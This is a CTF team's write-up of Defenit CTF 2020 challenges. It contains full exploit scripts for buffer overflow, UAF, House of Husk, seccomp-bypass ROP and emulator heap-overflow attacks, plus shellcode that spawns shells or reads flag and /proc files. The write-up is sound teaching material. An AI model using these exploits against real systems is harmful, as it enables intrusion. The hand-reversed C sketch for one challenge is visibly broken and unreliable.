We zer0pts
played Defenit CTF 2020 and reached 4th place!
It was a really amazing CTF!
Other members' writeups:
Here is the tasks and solvers for some challenges I solved.
- [Pwn 656pts] Base64 Encoder
- [Pwn 298pts] Error Program
- [Pwn 656pts] Persona
- [Pwn 726pts] ORVVM
- [Pwn+Misc 626pts] BitBit
- [Rev 471pts] Malicious Baby
- [Rev+Crypto 766pts] Lord Fool Song Remix (rev part)
[Pwn 656pts] Base64 Encoder
Description: Base64+ is a encode/decode service running on web! What you want is in /home/pwn/flag.txt Server: http://base64-encoder.ctf.defenit.kr/
We're just given a URL to the challenge server.
Checking /robots.txt
, I found there's a binary chall
at /cgi-src/chall
.
The binary is a simple base64 encoder/decoder but there's something abnormal.
It accepts the POST query as input (which must be less than 0x1000-byte long) and parses it.
The query must have 3 keys: cmd
, buf
, and key
.
cmd
must be either "decode" or "encode".
buf
is the target binary to encode or decode.
key
is quite strange. The base64 table is scrambled by this parameter.
Also, key
is allocated by mmap
with PROT_EXEC
set.
The vulnerability is a simple buffer overflow on encode. However, the return address is overwritten by base64 characters, which is pretty obvious. So, we need to control the server just by sending a single query and with base64 characters.
Since key
is mapped to 0x77777000, we can use this place as shellcode.
However, the contents of key
must consist of base64 characters as well, and also the size of key
is up to 0x100 bytes.
Our goal is writing x86 shellcode using base64 characters within 0x100 bytes.
My first idea was write an alphanumeric shellcode that accepts second stage shellcode and executes it. However, it somehow didn't work on the remote server :thinking_face:
I gave up this idea and wrote an alphanumeric shellcode that is equivalent to this:
call a db '/bin/cat',0 db '/home/pwn/flag.txt', 0 a: pop ebx lea ecx, [ebx+9] inc edx push edx push ecx push ebx mov ecx, esp lea eax, [edx+11] int 0x80 ; read
This article helped me to write the alphanumeric shellcode. I made an encoder which generates "alphanumeirc shellcode that pushes the given shellcode into stack" and finished the following shellcode.
global _start section .text _start: push ebx pop ecx prepare_registers: push 0x30 pop eax xor al, 0x30 push eax push eax push eax push eax push ecx push eax popad dec edx patch_ret: push edx pop eax xor al, 0x44 push 0x30 pop ecx dec ecx xor [esi+2*ecx+0x62], al build_stack: push ebx pop eax ; push 0x80cd0b42 xor eax, 0x30413230 xor eax, 0x4f733972 push eax push esp pop ecx inc ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh ; push 0x8de18953 xor eax, 0x34413041 xor eax, 0x396d4d50 push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh inc ecx xor [ecx], dh ; push 0x51524209 xor eax, 0x41344130 xor eax, 0x6278756a push eax ; push 0x4b8d5b00 xor eax, 0x42414130 xor eax, 0x58615839 push eax push esp pop ecx inc ecx inc ecx xor [ecx], dh ; push 0x7478742e xor eax, 0x45324141 xor eax, 0x7a386e6f push eax ; push 0x67616c66 xor eax, 0x41414130 xor eax, 0x52585978 push eax ; push 0x2f6e7770 xor eax, 0x30364141 xor eax, 0x78395a57 push eax ; push 0x2f656d6f xor eax, 0x30324245 xor eax, 0x3039585a push eax ; push 0x682f0074 xor eax, 0x30303441 xor eax, 0x777a595a push eax ; push 0x61632f6e xor eax, 0x30344142 xor eax, 0x39786e58 push eax ; push 0x69622f00 xor eax, 0x30303034 xor eax, 0x3831305a push eax ; push 0x1ce8 xor eax, 0x30304141 xor eax, 0x59527256 push eax push esp pop ecx xor [ecx], dh push esp ret: db 0x78
This is the final exploit.
import os import requests from ptrlib import * os.system("nasm -fELF asciisc.S -o asciisc") with open("asciisc", "rb") as f: buf = f.read() shellcode = buf[buf.index(b'BOF')+3:buf.index(b'EOF')] print(shellcode) key = b"/" * (0x38 - 4) key += p32(0x77777038) key += shellcode print(hex(len(key))) assert len(key) < 0x100 buf = p32(0x77777038) * 0x40 payload = b"?cmd=decode" payload += b"&key=" + key payload += b"&buf=" + buf sock = Process("./chall") sock.sendline(payload) sock.shutdown("write") r = sock.recvlineafter('output": "') buf = r[:r.index(b'"')] sock.close() payload = b"cmd=encode" payload += b"&key=" + key payload += b"&buf=" + buf * 10 payload += b'A' * (0xfff - len(payload)) """ sock = Socket("localhost", 9999) input() sock.send(payload) """ sock = Socket("base64-encoder.ctf.defenit.kr", 80) sock.send("POST /cgi-bin/chall HTTP/1.1\r\n") sock.send("Host: base64-encoder.ctf.defenit.kr\r\n") sock.send("Content-Length: {}\r\n\r\n".format(len(payload))) sock.send(payload) #""" sock.interactive()
[Pwn 298pts] Error Program
Description: Make Pwnable Great Again! (running on Ubuntu 18.04 docker) Files: errorProgram, libc-2.27.so Server: nc error-program.ctf.defenit.kr 7777
The binary has 3 bugs: BOF, FSB, UAF.
BOF is useless as SSP is enabled.
FSB is also meaningless as it bans $
and %
.
So, UAF is the target of our exploitation.
The UAF interface gives us 3 pointers. We can create a large chunk (0x777 to 0x7777 bytes) and the pointers are left even after freed. It smells like House of Husk. The obstacle is that we can use only 3 chunks.
I used the first one to leak the libc address. (FD is linked to main_arena
and can be read by UAF.)
Also I recycled it for overwriting global_max_fast
by unsorted bin attack.
Next, I prepared a fake FILE structure whose chunk size is offset2size(_IO_list_all - fastbin)
(House of Husk here).
Then, I used third one to ignite unsorted bin attack.
After unsorted bin attack, large chunks are linked to (virtual) fastbin.
Now, freeing the second chunk changes the value of _IO_list_all
to our fake FILE structure.
However, there're 2 things to overcome in order to ignite _IO_str_overflow
.
Let's check the source code of _IO_unbuffer_all
which is called by _IO_cleanup
.
for (fp = (FILE *) _IO_list_all; fp; fp = fp->_chain) { if (! (fp->_flags & _IO_UNBUFFERED) /* Iff stream is un-orientated, it wasn't used. */ && fp->_mode != 0) { #ifdef _IO_MTSAFE_IO int cnt; #define MAXTRIES 2 for (cnt = 0; cnt < MAXTRIES; ++cnt) if (fp->_lock == NULL || _IO_lock_trylock (*fp->_lock) == 0) break; else /* Give the other thread time to finish up its use of the stream. */ __sched_yield (); #endif if (! dealloc_buffers && !(fp->_flags & _IO_USER_BUF)) { fp->_flags |= _IO_USER_BUF; fp->_freeres_list = freeres_list; freeres_list = fp; fp->_freeres_buf = fp->_IO_buf_base; } _IO_SETBUF (fp, NULL, 0); // <-- we want to call this!
We need to pass the first constraints:
if (! (fp->_flags & _IO_UNBUFFERED) /* Iff stream is un-orientated, it wasn't used. */ && fp->_mode != 0)
We can control fp->_mode
as we have control over the fake FILE structure.
fp->_flags
is actually located at the prev_size
of the freed chunk.
So, changing the size of the first chunk (used for usorted bin attack & libc leak) is enough.
Second, the following path is troublesome.
if (! dealloc_buffers && !(fp->_flags & _IO_USER_BUF))
{
fp->_flags |= _IO_USER_BUF;
fp->_freeres_list = freeres_list;
freeres_list = fp;
fp->_freeres_buf = fp->_IO_buf_base;
}
_IO_SETBUF
doesn't call the function on vtable if _IO_USER_BUF
is set.
So, we need to bypass the check above.
Fortunately dealloc_buffers
is a global variable which can also be overwritten in House of Husk!
offset2size(dealloc_buffers - fastbin)
is 0x3880 this time, so we have to change the size of the first chunk.
Here is the final exploit:
from ptrlib import * def malloc(index, size): sock.sendlineafter("CHOICE? : ", "1") sock.sendlineafter("? : ", str(index)) sock.sendlineafter("? : ", str(size)) def free(index): sock.sendlineafter("CHOICE? : ", "2") sock.sendlineafter("? : ", str(index)) def edit(index, data): sock.sendlineafter("CHOICE? : ", "3") sock.sendlineafter("? : ", str(index)) sock.sendafter("DATA : ", data) def view(index): sock.sendlineafter("CHOICE? : ", "4") sock.sendlineafter("? : ", str(index)) return sock.recvlineafter("DATA : ") libc = ELF("./libc-2.27.so") #sock = Process("./errorProgram") sock = Socket("error-program.ctf.defenit.kr", 7777) global_max_fast = 0x3ed940 dealloc_buffers = 0x3ed888 sock.sendlineafter("CHOICE? : ", "3") # leak libc #size = 0x1800-8 size = 0x3880 # offset2size(dealloc_buffers - fastbin) malloc(0, size) malloc(1, 0x1430) # offset2size(_IO_list_all - fastbin) free(0) libc_base = u64(view(0)[:8]) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) # prepare fake stderr new_size = libc_base + next(libc.find("/bin/sh")) payload = p64(0) # _IO_read_end payload += p64(0) # _IO_read_base payload += p64(0) # _IO_write_base payload += p64((new_size - 100) // 2) # _IO_write_ptr payload += p64(0) # _IO_write_end payload += p64(0) # _IO_buf_base payload += p64((new_size - 100) // 2) # _IO_buf_end payload += p64(0) * 4 payload += p64(libc_base + libc.symbol("_IO_2_1_stdout_")) payload += p64(3) + p64(0) payload += p64(0) + p64(libc_base + 0x3ed8c0) payload += p64((1<<64) - 1) + p64(0) payload += p64(libc_base + 0x3eb8c0) payload += p64(0) * 3 payload += p64(0xffffffff) payload += p64(0) * 2 payload += p64(libc_base + 0x3e8360 - 0x40) # _IO_str_jumps - 0x40 payload += p64(libc_base + libc.symbol("system")) edit(1, payload) # house of husk edit(0, p64(0) + p64(libc_base + global_max_fast - 0x10)) malloc(2, size) free(1) free(2) sock.sendlineafter("? : ", "5") sock.sendlineafter("? : ", "4") sock.interactive()
Only 3 chunks + 1 exit to take control on libc-2.27. Nice!
[Pwn 656pts] Persona
Description: Create & Share your own persona to strangers. Who knows, you may find the secret from the others'. * Note - The flag is at /home/persona/flag. - The service is running on Ubuntu 18.04 Docker image. Files: persona, ld-linux-x86-64.so.2, libc.so.6 Server: nc persona.ctf.defenit.kr 9999
The binary is x86-64.
$ checksec -f persona RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 6 persona
This is a heap challenge over socket.
The strange point is that it has some functions: Share
and Meet
.
"Share" makes a shared memory, which can be called only once.
"Meet" copies a note to the shared memory.
There's a simple UAF since we can use the shared memory even after original/shared one is freed. The target chunk size is fixed to 0x70 and allocated by calloc, which forces us to use fastbin.
First of all, I made an exploit to leak heap and libc. I leaked the libc address by freeing a fake (large) chunk and put it into unsorted bin.
from ptrlib import * import proofofwork import random import hashlib """ typedef struct _Persona __attribute__((packed)) { int id; char nickname[0x18]; int age; char *bio; // calloc(1, 0x70) _Persona *next; int key; } Persona; Persona *rndaddr; // mmapped to random address """ def create(name, age, bio): sock.sendlineafter(">> ", "C") sock.sendafter(": ", name) sock.sendlineafter(": ", str(age)) sock.sendafter(": ", bio) def edit(index, name, age, bio): sock.sendlineafter(">> ", "E") sock.sendlineafter(": ", str(index)) sock.sendafter(": ", name) sock.sendlineafter(": ", str(age)) sock.sendafter(": ", bio) def view(index): sock.sendlineafter(">> ", "V") sock.sendlineafter(": ", str(index)) name = sock.recvlineafter(": ") age = int(sock.recvlineafter(": ")) bio = sock.recvlineafter(": ") return name, age, bio def delete(index): sock.sendlineafter(">> ", "D") sock.sendafter(": ", str(index)) def share(index, key): sock.sendlineafter(">> ", "S") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", str(key)) def meet(key, imp='Y'): sock.sendlineafter(">> ", "M") sock.sendlineafter(": ", str(key)) sock.sendlineafter(": ", imp) libc = ELF("./libc.so.6") """ sock = Socket("localhost", 9999) """ sock = Socket("persona.ctf.defenit.kr", 9999) b = sock.recvlineafter('"')[:6] s = proofofwork.sha256('??????????????????????????????????????????????????????????' + b.decode()) sock.sendlineafter(": ", s) #""" key = random.randint(1, 0xffff) # evict tcache for i in range(20): create(str(i), 1, str(i)*8) for i in range(20): delete(0) # chunk overlap for i in range(10): create(str(i), 1, str(i)*8) share(9, key) meet(key) meet(key) delete(9) # heap leak heap_base = u64(view(9)[2]) - 0x910 logger.info("heap = " + hex(heap_base)) # fastbin corruption edit(9, "A", 1, p64(heap_base + 0xa20)) edit(8, "A", 1, p64(0) + p64(0x21) + p64(0)*3 + p64(0x21)) # get fake chunk create("B", 2, p64(0)*9+p64(0x81)) # 11 create("C", 2, "C"*8) # 12 edit(11, "A", 1, p64(0)*9+p64(0x431)) # libc leak delete(12) edit(8, "A", 1, "A" * 8) libc_base = u64(view(8)[2][8:]) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) sock.interactive()
I realized the server accepts connection and forks the process. So, we can reuse the heap and libc address!
The next trouble is seccomp.
execve
and execveat
are banned.
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007 0004: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0007 0005: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
We need to run ROP chain.
Since the note structure has pointers to bio, we can use it to overwrite __free_hook
.
I used setcontext
to execute my ROP chain prepared on heap.
from ptrlib import * import proofofwork import random import hashlib def create(name, age, bio): sock.sendlineafter(">> ", "C") sock.sendafter(": ", name) sock.sendlineafter(": ", str(age)) sock.sendafter(": ", bio) def edit(index, name, age, bio): sock.sendlineafter(">> ", "E") sock.sendlineafter(": ", str(index)) sock.sendafter(": ", name) sock.sendlineafter(": ", str(age)) sock.sendafter(": ", bio) def view(index): sock.sendlineafter(">> ", "V") sock.sendlineafter(": ", str(index)) name = sock.recvlineafter(": ") age = int(sock.recvlineafter(": ")) bio = sock.recvlineafter(": ") return name, age, bio def delete(index): sock.sendlineafter(">> ", "D") sock.sendafter(": ", str(index)) def share(index, key): sock.sendlineafter(">> ", "S") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", str(key)) def meet(key, imp='Y'): sock.sendlineafter(">> ", "M") sock.sendlineafter(": ", str(key)) sock.sendlineafter(": ", imp) libc = ELF("./libc.so.6") """ heap_base = 0x559bfa013000 libc_base = 0x7fa52d9a7000 sock = Socket("localhost", 9999) """ heap_base = 0x55b557ef4000 libc_base = 0x7fb0a5c70000 sock = Socket("persona.ctf.defenit.kr", 9999) b = sock.recvlineafter('"')[:6] s = proofofwork.sha256('??????????????????????????????????????????????????????????' + b.decode()) sock.sendlineafter(": ", s) #""" key = random.randint(1, 0xffff) # evict tcache for i in range(20): create(str(i), 1, str(i)*8) for i in range(20): delete(0) # chunk overlap for i in range(10): create((str(i)*4).encode() + p64(0x81), 1, str(i)*8) rop_pop_rdi = libc_base + 0x0002155f rop_pop_rsi = libc_base + 0x00023e6a rop_pop_rdx = libc_base + 0x00001b96 rop_xchg_eax_edi = libc_base + 0x0006eacd # prepare fake context_t payload = p64(heap_base + 0xda0) + p64(rop_pop_rdi) # rdx + 0xa0 --> rsp, rip payload += p64(0) + p64(0) # rdx + 0xb0 payload += p64(0) + p64(0) # rdx + 0xc0 payload += p64(0) + p64(0) # rdx + 0xd0 payload += p64(heap_base + 0x800) + p64(0) # rdx + 0xe0 payload += b'/home/persona/flag\0' edit(3, "3", 3, payload) # heap_base + 0xe60 # prepare rop chain payload = p64(heap_base + 0xe60 + 0x50) payload += p64(libc_base + libc.symbol('open')) payload += p64(rop_xchg_eax_edi) payload += p64(rop_pop_rsi) payload += p64(heap_base + 0x800) payload += p64(rop_pop_rdx) payload += p64(0x80) payload += p64(libc_base + libc.symbol('read')) payload += p64(rop_pop_rdi) payload += p64(5) payload += p64(libc_base + libc.symbol('write')) edit(4, "4", 4, payload) # heap_base + 0xda0 # overlap share(9, key) meet(key) delete(9) # overwrite free hook edit(9, "A", 1, p64(heap_base + 0x1360)) create("B", 2, "B") payload = p64(0) * 2 payload += p64(libc_base + libc.symbol('__free_hook')) + p64(0) # bio payload += p64(heap_base + 0x13a0) + p64(0x41) payload += p64(0) * 4 payload += p64(heap_base + 0xe60 - 0xa0) + p64(0) payload += p64(0) # end of link create("C", 2, payload) edit(1, "C", 0, p64(libc_base + libc.symbol('setcontext'))) delete(2) sock.interactive()
[Pwn 726pts] ORVVM
Description: Open, Read, Write, Mmap, and…. VM Files: orvvm, libc.so.6 Server: nc orvvm.ctf.defenit.kr 1789
This is a quite novel shellcode challenge. We can run arbitrary shellcode under unicorn! It hooks system calls and alters system calls.
- 1: open
- 2: read
- 3: write
- 4: close
- 5: exit
- 6: uc_mem_map
We can pass arguments in a normal way through registers. I tried to open the flag by guessing the filepath but no luck.
After analysing the binary, I found the following bug.
It checks the size passed to read
system call in short
.
This is an obvious heap overflow.
I checked what exists next to the vulnerable chunk and found the Unicorn Context.
The uc structure has some function pointers and our goal is overwrite them with one gadget or whatever.
In order to leak the libc address, I used /proc/self/maps
.
I wrote the following shellcode which leaks heap/libc address through /proc/self/maps
. (Actually heap address is not necessary.)
global _start section .text _start: db 'BOF' jmp a db '/proc/self/maps', 0 a: mov rdi, 0xdead0002 inc eax syscall ; fd = open("/proc/self/maps", O_RDONLY) mov r12, rax xor ecx, ecx readLoop: mov rdx, 0x400 lea rsi, [rsp+rcx] mov rdi, r12 mov rax, 2 syscall ; read(fd, buf, 0xffff400) add rcx, rax cmp rax, 0 jg readLoop mov r8, 0xbeef0000 mov rsi, 0x77770000 mov rdi, rsp analyseLoop: xor ecx, ecx saveAddrLoop: mov al, [rdi] cmp al, 0 jz breakLoop mov [rsi+rcx], al inc rdi inc rcx cmp rcx, 12 jnz saveAddrLoop readLineLoop: mov eax, [rdi] inc rdi cmp eax, '[hea' jz foundHeap cmp eax, 'libc' jz foundLibc cmp al, 0x0A jnz readLineLoop jmp analyseLoop breakLoop: ; leak heap and libc mov rdx, 0x10 mov rsi, r8 mov rdi, 1 mov rax, 3 syscall ; overwrite ucEngine context mov rdx, 0x10400 mov rsi, 0x77770000 ; wherever xor edi, edi mov rax, 2 syscall mov rax, 5 syscall foundHeap: call str2addr mov [r8], rax inc rdi jmp readLineLoop foundLibc: call str2addr mov [r8+8], rax inc rdi jmp breakLoop str2addr: mov rdx, rsi xor ebx, ebx convertLoop: mov al, [rdx] test al, al jz breakConvertLoop inc rdx shl rbx, 4 cmp al, 0x39 jle convertDigit sub al, 0x57 or bl, al jmp convertLoop convertDigit: sub al, 0x30 or bl, al jmp convertLoop breakConvertLoop: mov rax, rbx ret error: db 'EOF'
And ignite heap overflow!
from ptrlib import * import os import proofofwork os.system("nasm -fELF64 ./shellcode.S -o shellcode") with open("shellcode", "rb") as f: buf = f.read() shellcode = buf[buf.index(b'BOF')+3:buf.index(b'EOF')] """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Process("./orvvm", env={'LD_LIBRARY_PATH': './'}) """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Socket("orvvm.ctf.defenit.kr", 1789) b = sock.recvlineafter('"')[:6] s = proofofwork.sha256('??????????????????????????????????????????????????????????' + b.decode()) sock.sendlineafter(": ", s) #""" sock.send(shellcode) heap_base = u64(sock.recv(8)) libc_base = u64(sock.recv(8)) logger.info("heap = " + hex(heap_base)) logger.info("libc = " + hex(libc_base)) payload = b'A' * 0x400 payload += p64(0) + p64(0x7b1) payload += b'/bin/sh\0' + p64(0) payload += p64(0xffffffffdeadbee0) + p64(0xffffffffdeadbee1) payload += p64(0xffffffffdeadbee2) + p64(0xffffffffdeadbee3) payload += p64(0xffffffffdeadbee4) + p64(0xffffffffcafebab0) payload += p64(0xffffffffcafebab1) + p64(0xffffffffcafebab2) payload += p64(0) + p64(0xffffffffcafebab2) payload += p64(0) * 6 payload += p64(heap_base + 0x680) + p64(0xffffffffdeadbeef) payload += p64(heap_base + 0xc18) + p64(heap_base + 0x670) payload += p64(0) + p64(heap_base + 0xc28) payload += p64(0) + p64(0xfffffffffee1dea0) payload += p64(libc_base + libc.symbol('system')) + p64(0xfffffffffee1dea2) payload += p64(0xfffffffffee1dea3) + p64(0xfffffffffee1dea4) sock.send(payload) sock.interactive()
Quite simple but new. I like this challenge :)
[Pwn+Misc 626pts] BitBit
Description: I made a program, but it seems a little strange. I want to change it to make it work normally. Thx! File: bitbit Server: nc bitbit.ctf.defenit.kr 1337
It's a binary which converts bitmap into character(?). I completely reversed the binary into C and found some bugs on analysing it by IDA:
- The size of malloc for Y axis and X asis are wrong
- The way it interprets the image seems wrong
I fixed the bug in IDA like the following:
And I sent the patched binary to the server, then flag dropped.
The concept of the challenge, making a patch for a bug, is very good. However, I wanted more detailed description on what to do because I think this is a reversing task rather than pwn.
[Rev 471pts] Malicious Baby
Description: There is a malicious binary packed with a PE Packer I made for you. Your mission is unpacking the malware manually and recognizing the technique it uses. File: MaliciousBaby.exe
In my team I'm in charge of Windows reversing somehow. The binary is packed and the description says manually unpacking is required.
I used an ordinal unpacking technique, setting breakpoints on popad, and dumped the unpacked binary. This is the beginning of unpacked main function:
After analysing the function and doing some search, I found it's an injection technique called "Atomi Bombing." The shellcode is also unpacked. Inside the shellcode has a decode routine. (The decoded string is passed to OutputDebugString)
I wrote a script to decode the data and found the flag.
[Rev+Crypto 766pts] Lord Fool Song Remix (rev part)
Description: myria loves songs. he made a fool song remix program that could make simple songs. but he forgot what the song name was! Why? he is stupid! please find out what the song name is! find the song name and submit it wrapped in Defenit {} Files: LordFoolSongRemix.exe, output.txt
I JUST REVERSE ENGINEERED THE BINARY REALLY HARD. After that @theoremoon solved the crypto part.
Here is the result of reversing:
void outputSound(int snd) { // hogehoge printf("%d ", snd); // Beep(hugahuga) } void encrypt(int *buffer, char *nameSong, int lenSong5) { int bits[8*9]; int *memory[3]; for(int i = 0; i < 3; i++) { memory[i] = malloc(sizeof(int) * lenSong); } for(int i = 0; i < 9; i++) { char c = nameSong[i]; for(int j = 0; j < 8; j--) { bits[i*8+j] = c & 1; c >>= 1; } } for(int i = 0; i < 3; ) { for(int j = 0; j < 23; j++) { memory[i][22-j] = bits[i*24+j]; } if (i == 2) { memory[i][24] = bits[i*24+23]; } else { memory[++i][23] = bits[i*24+23]; } } // 現在memory[0]に23要素、memory[1]に24要素、 // memory[2]に25要素に分かれてnameSongのビット列が入っている for(int i = 0; i < lenSong5 - 23; i--) { memory[0][23+i] = memory[0][i] ^ memory[0][i+5]; } for(int i = 0; i < lenSong5 - 24; i--) { memory[1][24+i] = memory[1][i] ^ memory[1][i+4] ^ memory[1][i+1] ^ memory[1][i+3]; } for(int i = 0; i < lenSong5 - 25; i--) { memory[2][25+i] = memory[2][i] ^ memory[2][i+3]; } [lenSong5 - 1]; memory[1][i] ^ ((memory[0][i] ^ memory[1][i]) & memory[0][i+4]) } int main() { char nameSong[10]; unsigned int lenSong = 0; scanf("%d", &lenSong); if (lenSong > 0x62) return 1; lenSong *= 10; // careful! scanf("%9s", nameSong); if (strlen(nameSong) < 5 || strlen(nameSong) > 9) return 1; for(int i = 0; i < strlen(nameSong); i++) { if (nameSong[i] < 0x21 || nameSong[i] > 0x7e) return 1; } int *enc = malloc(sizeof(int) * lenSong); encrypt(enc); int n = 10; for(int i = 0; i < lenSong; i += 10) { int snd = 0; for(int j = 0; j < n; j++) { snd |= enc[j]; snd *= 2; } outputSound(snd / 2); n += 10; } free(buf); return 0; }
And the equivalent python code:
def encrypt(name, slen): bits = [] for c in name + b'\x00' * (9-len(name)): for i in range(8): bits.append((c >> (7-i)) & 1) memory = [ bits[0:23][::-1] + [0] * (slen - 23), bits[23:23+24][::-1] + [0] * (slen - 24), bits[23+24:23+24+25][::-1] + [0] * (slen - 25) ] for i in range(0, slen - 23): memory[0][23+i] = memory[0][i] ^ memory[0][i+5] for i in range(0, slen - 24): memory[1][24+i] = memory[1][i] ^ memory[1][i+4] ^ memory[1][i+1] ^ memory[1][i+3] for i in range(0, slen - 25): memory[2][25+i] = memory[2][i] ^ memory[2][i+3] output = [] for i in range(slen): output.append( ((memory[2][i] ^ memory[0][i]) & memory[1][i]) ^ memory[2][i] ) return output length = 20 name = b"hogHOGE" enc = encrypt(name, length*10) for i in range(length): snd = 0 for j in range(10): snd |= enc[i*10 + j] snd <<= 1 print(snd >> 1, end=" ") print()
Check theoremoon's writeup for the final solver.